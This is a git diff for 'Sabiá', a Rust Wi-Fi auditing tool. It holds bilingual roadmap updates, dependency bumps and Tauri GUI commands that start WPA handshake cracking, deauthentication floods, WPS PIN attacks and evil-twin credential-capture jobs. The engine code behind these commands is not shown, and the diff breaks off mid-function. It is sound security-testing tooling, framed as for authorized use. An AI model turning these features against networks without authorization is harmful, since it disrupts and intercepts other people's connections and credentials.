**English** · [Português](ROADMAP.pt-BR.md)
|
||||||
|
|
||||||
Sabiá does Wi-Fi auditing: it discovers networks, captures handshakes (4-way and PMKID), cracks WPA/WPA2-PSK by offline dictionary and tests deauthentication with authorization. Always for authorized use, with a local audit trail.
|
Sabiá does Wi-Fi auditing: it discovers networks, captures handshakes (4-way and PMKID), cracks WPA/WPA2-PSK by dictionary/rules/mask, assesses WPS, PMF and evil twin exposure, and tests deauthentication and rogue-AP attacks with authorization. Always for authorized use, with a local audit trail.
|
||||||
|
|
||||||
## Done (0.1.0)
|
## Done (1.0.0)
|
||||||
|
|
||||||
- **Monitor mode** and channel control via netlink/`iw`.
|
- **Monitor mode** and channel control via netlink/`iw`, with automatic recovery from NetworkManager reclaiming the interface.
|
||||||
- **Scanning** of 2.4, 5 and 6 GHz: APs and clients, with SSID, BSSID, channel, signal and security.
|
- **Scanning** of 2.4, 5 and 6 GHz: APs and clients, with SSID, BSSID, channel, signal, security, WPS details, vendor and PHY standard.
|
||||||
- Raw 802.11 capture via **AF_PACKET** (no libpcap), **radiotap** and management-frame parsing.
|
- Raw 802.11 capture via **AF_PACKET** (no libpcap), **radiotap** and management-frame parsing.
|
||||||
- Capture of the **4-way handshake (EAPOL)** and the **PMKID**.
|
- Capture of the **4-way handshake (EAPOL)** and the **PMKID**; **CCMP traffic decryption** once the password is known.
|
||||||
- **Offline dictionary cracking** (PBKDF2-HMAC-SHA1, MIC and PMKID) for WPA/WPA2-PSK.
|
- **Offline cracking** (PBKDF2-HMAC-SHA1, MIC and PMKID) for WPA/WPA2-PSK: a 9.7M-password dictionary (rockyou + Probable-Wordlists) by default, hashcat-style **mutation rules** and **mask brute force**.
|
||||||
|
- **`.hc22000` export** to take the handshake straight to hashcat/John.
|
||||||
- **`.pcap`** read and write; offline `.pcap` analysis.
|
- **`.pcap`** read and write; offline `.pcap` analysis.
|
||||||
- Authorized **`deauth`** (`--yes` flag).
|
- Authorized **`deauth`** (`--yes` flag), directional and continuous jobs, PMF probing, clientless PMKID hunting.
|
||||||
|
- **WPS attack** (PIN/Pixie Dust) via a bundled reaver, or bully when installed.
|
||||||
|
- **Evil Twin** with captive portal for WPA/WPA2-PSK (password only accepted after cryptographic verification against the real handshake) and a credential-capture variant for WPA2/WPA3-Enterprise (802.1X/EAP).
|
||||||
|
- Channel-interference scoring and security findings (open network, no PMF, WPS exposed, possible evil twin).
|
||||||
|
- Redesigned, paginated **audit report** (cover, table of contents, running header/footer) that prints to PDF from the browser.
|
||||||
- Local hash-chained **audit trail**; `doctor` diagnostics.
|
- Local hash-chained **audit trail**; `doctor` diagnostics.
|
||||||
- **CLI** + **desktop app** (Tauri) + local UI server; **one-click update**.
|
- **CLI** + **desktop app** (Tauri) + local UI server; **one-click update**.
|
||||||
|
|
||||||
## Next
|
## Next
|
||||||
|
|
||||||
- **Rules and masks** in cracking (hashcat style), beyond the plain dictionary.
|
|
||||||
- **`22000` export** to take the handshake straight to hashcat/John.
|
|
||||||
- **GPU** acceleration for PMK derivation.
|
- **GPU** acceleration for PMK derivation.
|
||||||
|
|
||||||
## Later
|
|
||||||
|
|
||||||
- **WPS attack** (PIN/Pixie Dust) in authorized testing.
|
|
||||||
- **Rogue AP / evil twin** for client assessment, with authorization.
|
|
||||||
- **Capture on Windows** via Npcap.
|
- **Capture on Windows** via Npcap.
|
||||||
|
|
||||||
## Long term
|
## Later
|
||||||
|
|
||||||
- **WPA3/SAE**: detection and downgrade paths where applicable.
|
- **WPA3/SAE**: detection and downgrade paths where applicable.
|
||||||
- Validation on **varied hardware** (chipsets and regulatory domains).
|
- Validation on **varied hardware** (chipsets and regulatory domains).
|
||||||
- Signing of release binaries (SmartScreen/Gatekeeper).
|
- Signing of release binaries (SmartScreen/Gatekeeper).
|
||||||
|
|
||||||
|
## Long term
|
||||||
|
|
||||||
|
- GPU-accelerated cracking backend (hashcat integration beyond export).
|
||||||
|
- Packaged distribution (`apt`/`brew`/winget).
|
||||||
+18
-15
@@ -2,34 +2,37 @@
|
|||||||
|
|
||||||
[English](ROADMAP.md) · **Português**
|
[English](ROADMAP.md) · **Português**
|
||||||
|
|
||||||
O Sabiá faz auditoria de Wi-Fi: descobre redes, captura handshakes (4-way e PMKID), quebra WPA/WPA2-PSK por dicionário offline e testa desautenticação com autorização. Sempre de uso autorizado, com trilha de auditoria local.
|
O Sabiá faz auditoria de Wi-Fi: descobre redes, captura handshakes (4-way e PMKID), quebra WPA/WPA2-PSK por dicionário/regras/máscara, avalia exposição a WPS, PMF e evil twin, e testa desautenticação e ataques de rogue AP com autorização. Sempre de uso autorizado, com trilha de auditoria local.
|
||||||
|
|
||||||
## Feito (0.1.0)
|
## Feito (1.0.0)
|
||||||
|
|
||||||
- Controle de **modo monitor** e de canal por netlink/`iw`.
|
- Controle de **modo monitor** e de canal por netlink/`iw`, com recuperação automática quando o NetworkManager tenta retomar a interface.
|
||||||
- **Varredura** de 2.4, 5 e 6 GHz: APs e clientes, com SSID, BSSID, canal, sinal e segurança.
|
- **Varredura** de 2.4, 5 e 6 GHz: APs e clientes, com SSID, BSSID, canal, sinal, segurança, detalhes de WPS, fabricante e padrão PHY.
|
||||||
- Captura crua de 802.11 por **AF_PACKET** (sem libpcap), parsing de **radiotap** e de quadros de gerenciamento.
|
- Captura crua de 802.11 por **AF_PACKET** (sem libpcap), parsing de **radiotap** e de quadros de gerenciamento.
|
||||||
- Captura de **4-way handshake (EAPOL)** e de **PMKID**.
|
- Captura de **4-way handshake (EAPOL)** e de **PMKID**; **decriptação de tráfego CCMP** quando a senha é conhecida.
|
||||||
- **Quebra offline** por dicionário (PBKDF2-HMAC-SHA1, MIC e PMKID) para WPA/WPA2-PSK.
|
- **Quebra offline** (PBKDF2-HMAC-SHA1, MIC e PMKID) para WPA/WPA2-PSK: dicionário padrão de 9,7 milhões de senhas (rockyou + Probable-Wordlists), **regras de mutação** estilo hashcat e **força bruta por máscara**.
|
||||||
|
- **Exportação `.hc22000`** para levar o handshake direto ao hashcat/John.
|
||||||
- Escrita e leitura de **`.pcap`**; análise de `.pcap` offline.
|
- Escrita e leitura de **`.pcap`**; análise de `.pcap` offline.
|
||||||
- **`deauth`** autorizado (flag `--yes`).
|
- **`deauth`** autorizado (flag `--yes`), jobs direcionais e contínuos, teste de PMF, caça de PMKID sem cliente.
|
||||||
|
- **Ataque WPS** (PIN/Pixie Dust) via reaver embutido, ou bully quando instalado.
|
||||||
|
- **Evil Twin** com portal cativo para WPA/WPA2-PSK (senha só aceita após verificação criptográfica contra o handshake real) e variante de captura automática de credencial para WPA2/WPA3-Enterprise (802.1X/EAP).
|
||||||
|
- Pontuação de interferência de canais e achados de segurança (rede aberta, sem PMF, WPS exposto, possível evil twin).
|
||||||
|
- **Relatório de auditoria** redesenhado e paginado (capa, sumário, cabeçalho/rodapé corridos) que imprime em PDF pelo navegador.
|
||||||
- **Trilha de auditoria** local encadeada por hash; `doctor` de diagnóstico.
|
- **Trilha de auditoria** local encadeada por hash; `doctor` de diagnóstico.
|
||||||
- **CLI** + **app desktop** (Tauri) + servidor local da UI; **atualização em um clique**.
|
- **CLI** + **app desktop** (Tauri) + servidor local da UI; **atualização em um clique**.
|
||||||
|
|
||||||
## Próximo
|
## Próximo
|
||||||
|
|
||||||
- **Regras e máscaras** na quebra (estilo hashcat), além do dicionário puro.
|
|
||||||
- **Exportação `22000`** para levar o handshake direto ao hashcat/John.
|
|
||||||
- Aceleração por **GPU** na derivação da PMK.
|
- Aceleração por **GPU** na derivação da PMK.
|
||||||
|
|
||||||
## Depois
|
|
||||||
|
|
||||||
- **Ataque a WPS** (PIN/Pixie Dust) em teste autorizado.
|
|
||||||
- **Rogue AP / evil twin** para avaliação de clientes, com autorização.
|
|
||||||
- **Captura em Windows** via Npcap.
|
- **Captura em Windows** via Npcap.
|
||||||
|
|
||||||
## Longo prazo
|
## Depois
|
||||||
|
|
||||||
- **WPA3/SAE**: detecção e caminhos de _downgrade_ onde aplicável.
|
- **WPA3/SAE**: detecção e caminhos de _downgrade_ onde aplicável.
|
||||||
- Validação em **hardware variado** (chipsets e _regulatory domains_).
|
- Validação em **hardware variado** (chipsets e _regulatory domains_).
|
||||||
- Assinatura dos binários de release (SmartScreen/Gatekeeper).
|
- Assinatura dos binários de release (SmartScreen/Gatekeeper).
|
||||||
|
|
||||||
|
## Longo prazo
|
||||||
|
|
||||||
|
- Backend de quebra acelerado por GPU (integração com hashcat além da exportação).
|
||||||
|
- Distribuição empacotada (`apt`/`brew`/winget).
|
||||||
Generated
+34
-2
@@ -8,6 +8,17 @@ version = "2.0.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
|
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "aes"
|
||||||
|
version = "0.8.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"cipher",
|
||||||
|
"cpufeatures",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "aho-corasick"
|
name = "aho-corasick"
|
||||||
version = "1.1.5"
|
version = "1.1.5"
|
||||||
@@ -322,6 +333,16 @@ dependencies = [
|
|||||||
"windows-link",
|
"windows-link",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cipher"
|
||||||
|
version = "0.4.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
|
||||||
|
dependencies = [
|
||||||
|
"crypto-common",
|
||||||
|
"inout",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "combine"
|
name = "combine"
|
||||||
version = "4.6.9"
|
version = "4.6.9"
|
||||||
@@ -1474,6 +1495,15 @@ dependencies = [
|
|||||||
"cfb",
|
"cfb",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "inout"
|
||||||
|
version = "0.1.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ipnet"
|
name = "ipnet"
|
||||||
version = "2.12.2"
|
version = "2.12.2"
|
||||||
@@ -2508,8 +2538,10 @@ checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f"
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "sabia-core"
|
name = "sabia-core"
|
||||||
version = "0.1.0"
|
version = "1.0.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"aes",
|
||||||
|
"flate2",
|
||||||
"hmac",
|
"hmac",
|
||||||
"libc",
|
"libc",
|
||||||
"md-5",
|
"md-5",
|
||||||
@@ -2523,7 +2555,7 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "sabia-gui"
|
name = "sabia-gui"
|
||||||
version = "0.1.0"
|
version = "1.0.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"libc",
|
"libc",
|
||||||
"sabia-core",
|
"sabia-core",
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "sabia-gui"
|
name = "sabia-gui"
|
||||||
description = "Sabiá: interface gráfica de auditoria de Wi-Fi"
|
description = "Sabiá: interface gráfica de auditoria de Wi-Fi"
|
||||||
version = "0.1.0"
|
version = "1.0.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
license = "MIT OR Apache-2.0"
|
license = "MIT OR Apache-2.0"
|
||||||
repository = "https://github.com/lucasrguerra/sabia"
|
repository = "https://github.com/lucasrguerra/sabia"
|
||||||
|
|||||||
+533
-11
@@ -1,7 +1,7 @@
|
|||||||
// Evita a janela de console extra no Windows em release.
|
// Evita a janela de console extra no Windows em release.
|
||||||
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
|
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
|
||||||
|
|
||||||
use sabia_core::engine::Engine;
|
use sabia_core::engine::{Engine, ScanOptions};
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
|
|
||||||
struct State(Arc<Engine>);
|
struct State(Arc<Engine>);
|
||||||
@@ -19,7 +19,10 @@ fn list_ifaces(state: tauri::State<'_, State>) -> Result<serde_json::Value, Stri
|
|||||||
|
|
||||||
#[tauri::command]
|
#[tauri::command]
|
||||||
fn set_monitor(state: tauri::State<'_, State>, iface: String, enable: bool) -> Result<(), String> {
|
fn set_monitor(state: tauri::State<'_, State>, iface: String, enable: bool) -> Result<(), String> {
|
||||||
state.0.set_monitor(&iface, enable).map_err(|e| e.to_string())
|
state
|
||||||
|
.0
|
||||||
|
.set_monitor(&iface, enable)
|
||||||
|
.map_err(|e| e.to_string())
|
||||||
}
|
}
|
||||||
|
|
||||||
#[tauri::command]
|
#[tauri::command]
|
||||||
@@ -33,10 +36,465 @@ fn stop_scan(state: tauri::State<'_, State>, iface: String) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[tauri::command]
|
#[tauri::command]
|
||||||
fn scan_results(state: tauri::State<'_, State>, iface: String) -> Result<serde_json::Value, String> {
|
fn scan_results(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
serde_json::to_value(state.0.scan_results(&iface)).map_err(|e| e.to_string())
|
serde_json::to_value(state.0.scan_results(&iface)).map_err(|e| e.to_string())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn scan_snapshot(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
let snapshot = state.0.scan_snapshot(&iface).map_err(|e| e.to_string())?;
|
||||||
|
serde_json::to_value(snapshot).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn scan_clients(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
serde_json::to_value(state.0.scan_clients(&iface)).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn handshakes(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: Option<String>,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
serde_json::to_value(state.0.handshakes(iface.as_deref())).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn export_handshake(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
bssid: String,
|
||||||
|
station: String,
|
||||||
|
out: String,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
let report = state
|
||||||
|
.0
|
||||||
|
.export_handshake(&iface, &bssid, &station, &out)
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn export_all_handshakes(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
out: String,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
let report = state
|
||||||
|
.0
|
||||||
|
.export_all_handshakes(&iface, &out)
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn start_crack(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
wordlist: Option<String>,
|
||||||
|
bssid: Option<String>,
|
||||||
|
station: Option<String>,
|
||||||
|
rules: Option<bool>,
|
||||||
|
) -> Result<String, String> {
|
||||||
|
let rules = rules.unwrap_or(false);
|
||||||
|
let result = match wordlist.filter(|w| !w.trim().is_empty()) {
|
||||||
|
Some(wordlist) => state.0.start_crack(
|
||||||
|
&iface,
|
||||||
|
bssid.as_deref(),
|
||||||
|
station.as_deref(),
|
||||||
|
&wordlist,
|
||||||
|
rules,
|
||||||
|
),
|
||||||
|
None => state
|
||||||
|
.0
|
||||||
|
.start_crack_default(&iface, bssid.as_deref(), station.as_deref(), rules),
|
||||||
|
};
|
||||||
|
result.map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn start_crack_mask(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
mask: String,
|
||||||
|
bssid: Option<String>,
|
||||||
|
station: Option<String>,
|
||||||
|
max_candidates: Option<u64>,
|
||||||
|
) -> Result<String, String> {
|
||||||
|
state
|
||||||
|
.0
|
||||||
|
.start_crack_mask(
|
||||||
|
&iface,
|
||||||
|
bssid.as_deref(),
|
||||||
|
station.as_deref(),
|
||||||
|
&mask,
|
||||||
|
max_candidates.unwrap_or(50_000_000),
|
||||||
|
)
|
||||||
|
.map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn crack_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
|
||||||
|
match state.0.crack_job(&id) {
|
||||||
|
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
|
||||||
|
None => Err("job não encontrado".into()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn crack_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
|
||||||
|
serde_json::to_value(state.0.crack_jobs()).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn deauth(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
bssid: String,
|
||||||
|
station: Option<String>,
|
||||||
|
count: Option<u32>,
|
||||||
|
reason: Option<u16>,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
let report = state
|
||||||
|
.0
|
||||||
|
.deauth(
|
||||||
|
&iface,
|
||||||
|
&bssid,
|
||||||
|
station.as_deref(),
|
||||||
|
count.unwrap_or(5),
|
||||||
|
reason.unwrap_or(7),
|
||||||
|
)
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
#[allow(clippy::too_many_arguments)]
|
||||||
|
fn deauth_directional(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
bssid: String,
|
||||||
|
station: Option<String>,
|
||||||
|
count: Option<u32>,
|
||||||
|
reason: Option<u16>,
|
||||||
|
direction: Option<String>,
|
||||||
|
frame_kind: Option<String>,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
let report = state
|
||||||
|
.0
|
||||||
|
.deauth_directional(
|
||||||
|
&iface,
|
||||||
|
&bssid,
|
||||||
|
station.as_deref(),
|
||||||
|
count.unwrap_or(5),
|
||||||
|
reason.unwrap_or(7),
|
||||||
|
direction.as_deref().unwrap_or("ap"),
|
||||||
|
frame_kind.as_deref().unwrap_or("deauth"),
|
||||||
|
)
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
#[allow(clippy::too_many_arguments)]
|
||||||
|
fn start_deauth_job(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
bssid: String,
|
||||||
|
station: Option<String>,
|
||||||
|
reason: Option<u16>,
|
||||||
|
direction: Option<String>,
|
||||||
|
frame_kind: Option<String>,
|
||||||
|
interval_ms: Option<u64>,
|
||||||
|
max_secs: Option<u64>,
|
||||||
|
stop_on_handshake: Option<bool>,
|
||||||
|
) -> Result<String, String> {
|
||||||
|
state
|
||||||
|
.0
|
||||||
|
.start_deauth_job(
|
||||||
|
&iface,
|
||||||
|
&bssid,
|
||||||
|
station.as_deref(),
|
||||||
|
reason.unwrap_or(7),
|
||||||
|
direction.as_deref().unwrap_or("both"),
|
||||||
|
frame_kind.as_deref().unwrap_or("deauth"),
|
||||||
|
interval_ms.unwrap_or(120),
|
||||||
|
max_secs,
|
||||||
|
stop_on_handshake.unwrap_or(false),
|
||||||
|
)
|
||||||
|
.map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn stop_deauth_job(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
|
||||||
|
state.0.stop_deauth_job(&id).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn deauth_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
|
||||||
|
match state.0.deauth_job(&id) {
|
||||||
|
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
|
||||||
|
None => Err("job de deauth não encontrado".into()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn deauth_jobs(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: Option<String>,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
let jobs = state.0.deauth_jobs();
|
||||||
|
let jobs: Vec<_> = match iface {
|
||||||
|
Some(iface) => jobs
|
||||||
|
.into_iter()
|
||||||
|
.filter(|j| j.iface.eq_ignore_ascii_case(&iface))
|
||||||
|
.collect(),
|
||||||
|
None => jobs,
|
||||||
|
};
|
||||||
|
serde_json::to_value(jobs).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn capture_handshake(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
bssid: String,
|
||||||
|
station: Option<String>,
|
||||||
|
seconds: Option<u64>,
|
||||||
|
) -> Result<String, String> {
|
||||||
|
state
|
||||||
|
.0
|
||||||
|
.capture_handshake(&iface, &bssid, station.as_deref(), seconds)
|
||||||
|
.map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn report(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
let model = state.0.report(&iface).map_err(|e| e.to_string())?;
|
||||||
|
serde_json::to_value(model).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn report_html(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
inline: Option<bool>,
|
||||||
|
) -> Result<String, String> {
|
||||||
|
let model = state.0.report(&iface).map_err(|e| e.to_string())?;
|
||||||
|
let options = sabia_core::report::ReportOptions {
|
||||||
|
inline_pagedjs: inline.unwrap_or(false),
|
||||||
|
..Default::default()
|
||||||
|
};
|
||||||
|
Ok(sabia_core::report::render(&model, options))
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn export_hc22000(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
bssid: String,
|
||||||
|
station: String,
|
||||||
|
out: String,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
let report = state
|
||||||
|
.0
|
||||||
|
.export_hc22000(&iface, &bssid, &station, &out)
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn export_all_hc22000(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
out: String,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
let report = state
|
||||||
|
.0
|
||||||
|
.export_all_hc22000(&iface, &out)
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn pmkid_hunt(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
bssid: String,
|
||||||
|
attempts: Option<u32>,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
let report = state
|
||||||
|
.0
|
||||||
|
.pmkid_hunt(&iface, &bssid, attempts.unwrap_or(5))
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn pmf_test(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
bssid: String,
|
||||||
|
station: String,
|
||||||
|
reason: Option<u16>,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
let report = state
|
||||||
|
.0
|
||||||
|
.pmf_test(&iface, &bssid, &station, reason.unwrap_or(7))
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn wps_tools(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
|
||||||
|
serde_json::to_value(state.0.wps_tools()).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn start_wps(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
bssid: String,
|
||||||
|
channel: u32,
|
||||||
|
tool: String,
|
||||||
|
pin: Option<String>,
|
||||||
|
) -> Result<String, String> {
|
||||||
|
state
|
||||||
|
.0
|
||||||
|
.start_wps(&iface, &bssid, channel, &tool, pin.as_deref())
|
||||||
|
.map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn wps_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
|
||||||
|
match state.0.wps_job(&id) {
|
||||||
|
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
|
||||||
|
None => Err("job WPS não encontrado".into()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn wps_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
|
||||||
|
serde_json::to_value(state.0.wps_jobs()).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn stop_wps(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
|
||||||
|
state.0.stop_wps(&id).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn start_evil_twin(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
ap_iface: String,
|
||||||
|
bssid: String,
|
||||||
|
portal_port: Option<u16>,
|
||||||
|
deauth: Option<bool>,
|
||||||
|
) -> Result<String, String> {
|
||||||
|
state
|
||||||
|
.0
|
||||||
|
.start_evil_twin(
|
||||||
|
&iface,
|
||||||
|
&ap_iface,
|
||||||
|
&bssid,
|
||||||
|
portal_port.unwrap_or(8080),
|
||||||
|
deauth.unwrap_or(false),
|
||||||
|
)
|
||||||
|
.map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn eviltwin_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
|
||||||
|
match state.0.eviltwin_job(&id) {
|
||||||
|
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
|
||||||
|
None => Err("job de Evil Twin não encontrado".into()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn eviltwin_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
|
||||||
|
serde_json::to_value(state.0.eviltwin_jobs()).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn stop_evil_twin(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
|
||||||
|
state.0.stop_evil_twin(&id).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn start_evil_twin_enterprise(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
ap_iface: String,
|
||||||
|
bssid: String,
|
||||||
|
) -> Result<String, String> {
|
||||||
|
state
|
||||||
|
.0
|
||||||
|
.start_evil_twin_enterprise(&iface, &ap_iface, &bssid)
|
||||||
|
.map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn eviltwin_enterprise_job(
|
||||||
|
